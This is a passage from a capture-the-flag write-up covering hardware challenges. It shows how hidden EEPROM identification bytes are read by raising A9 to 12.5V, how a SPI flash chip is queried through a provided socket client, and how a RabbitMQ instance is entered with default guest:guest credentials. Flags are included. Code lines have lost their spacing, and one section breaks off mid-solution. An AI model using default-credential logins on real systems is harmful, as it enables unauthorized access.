As usual, I began by searching the EEPROM’s documentation. I found a good resource that detailed the correct interaction methods with the EEPROM. According to the document:
1
2
3
4
5
6
7
READ: The AT28C16 is accessed like a Static RAM.
When CE and OE are low and WE is high, the data stored
at the memory location determined by the address pins is
asserted on the outputs. The outputs are put in a high
impedance state whenever CE or OE is high. This dual line
control gives designers increased flexibility in preventing
bus contention.
So, to read data, we need to:
Use set_ce_pin(0) to set the Chip Enable (CE) pin low,
Use set_oe_pin(0) to set the Output Enable (OE) pin low,
Use set_we_pin(5) to set the Write Enable (WE) pin high,
And use set_address_pins(addr) to choose the reading address.
For setting an address, for instance, if we aim to read from address 0x2, we need to set the A1 pin high (e.g., to 5V), and the rest low, to represent 0x2 in binary (00000000010).
The EEPROM’s address space spans 11 bits (A10 - A0), ranging from 0x000 to 0x7ff.
Below is the script that we create to read the data:
Initially, I attempted to sequentially read data from address 0x000 to 0x7ff. However, this method yielded no useful data, as all responses were 0.
Upon a second review of the documentation, I uncovered a crucial detail suggesting the presence of additional EEPROM memory.
1
2
3
4
5
DEVICE IDENTIFICATION: An extra 32 bytes of
EEPROM memory are available to the user for device identification. By raising A9 to 12 ± 0.5V and using address
locations 7E0H to 7FFH the additional bytes may be written
to or read from in the same manner as the regular memory
array.
To access this, I adjusted the script to set the A9 pin to 12.5V.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
defread_secret_data(_addr):bits=bin(_addr)[2:].rjust(11,'0')addr=[int(ch)*5forchinbits]addr[1]=12.5# Set A9 to 12.5 to access extra 32 bytes data storageset_address_pins(addr)out=read_byte().strip(b'> ')val=int(out.split(b' ')[1],16)returnvalflag=[]foriinrange(0x7e0,0x800):val=read_secret_data(i)flag.append(val)print(f'{bytes(flag)= }')
This adjustment was based on my hypothesis that the flag resided in this hidden memory section. My speculation proved accurate when the flag was successfully retrieved from this concealed storage area.
Flag: HTB{AT28C16_EEPROM_s3c23t_1d!!!}
Rids [easy]
Description
Upon reaching the factory door, you physically open the RFID lock and find a flash memory chip inside. The chip’s package has the word W25Q128 written on it. Your task is to uncover the secret encryption keys stored within so the team can generate valid credentials to gain access to the facility.
Initial Analysis
In this challenge, we were provided with a file named client.py, a utility crafted by the author to facilitate interaction with the hardware in question.
importsocketimportjsondefexchange(hex_list,value=0):# Configure according to your setuphost='94.237.50.175'# The server's hostname or IP addressport=38795# The port used by the servercs=0# /CS on A*BUS3 (range: A*BUS3 to A*BUS7)usb_device_url='ftdi://ftdi:2232h/1'# Convert hex list to strings and prepare the command datacommand_data={"tool":"pyftdi","cs_pin":cs,"url":usb_device_url,"data_out":[hex(x)forxinhex_list],# Convert hex numbers to hex strings"readlen":value}withsocket.socket(socket.AF_INET,socket.SOCK_STREAM)ass:s.connect((host,port))# Serialize data to JSON and sends.sendall(json.dumps(command_data).encode('utf-8'))# Receive and process responsedata=b''whileTrue:data+=s.recv(1024)ifdata.endswith(b']'):breakresponse=json.loads(data.decode('utf-8'))#print(f"Received: {response}")returnresponse# Example commandjedec_id=exchange([0x9F],3)print(bytes(jedec_id))
The objective appears to be reading data stored on the hardware, which is identified as a SPI flash memory model W25Q128.
Solution
After searching the documentation for this specific flash memory, I found a useful resource which elaborates on its functionality. Particularly, section 8.2.6 mentions a read command, denoted by the instruction code 0x03. This command allows us to specify a starting address in the form of a 24-bit address under the A23-A0 notation. Utilizing the provided client.py, we can easily configure an array of 4 bytes for this operation: the first byte for the instruction code and the subsequent three bytes for the 24-bit address, each represented in 8-bit segments.
As you discovered in the PDF, the production factory of the game is revealed. This factory manufactures all the hardware devices and custom silicon chips (of common components) that The Fray uses to create sensors, drones, and various other items for the games. Upon arriving at the factory, you scan the networks and come across a RabbitMQ instance. It appears that default credentials will work.
Solution
Reading through the challenge description, we know that the instance that we spawn is a RabbitMQ instance. Because it is stated that default credentials will work, we can login to the instance by using guest:guest pair.
Then, we can check the available queues. One queue named factory_idle is quite interesting, so I decided to open it and check all of its messages (Click the queue, then click the Get messages).
As we can see, the last message contains the flag.
Flag: HTB{th3_hunt3d_b3c0m3s_th3_hunt3r}
Maze [very easy]
Description
In a world divided by factions, “AM,” a young hacker from the Phreaks, found himself falling in love with “echo,” a talented security researcher from the Revivalists. Despite the different backgrounds, you share a common goal: dismantling The Fray. You still remember the first interaction where you both independently hacked into The Fray’s systems and stumbled upon the same vulnerability in a printer. Leaving behind your hacker handles, “AM” and “echo,” you connected through IRC channels and began plotting your rebellion together. Now, it’s finally time to analyze the printer’s filesystem. What can you find?
Solution
We received a zip file, and upon extracting its contents, we discovered a PDF. Inside this PDF, we found the flag.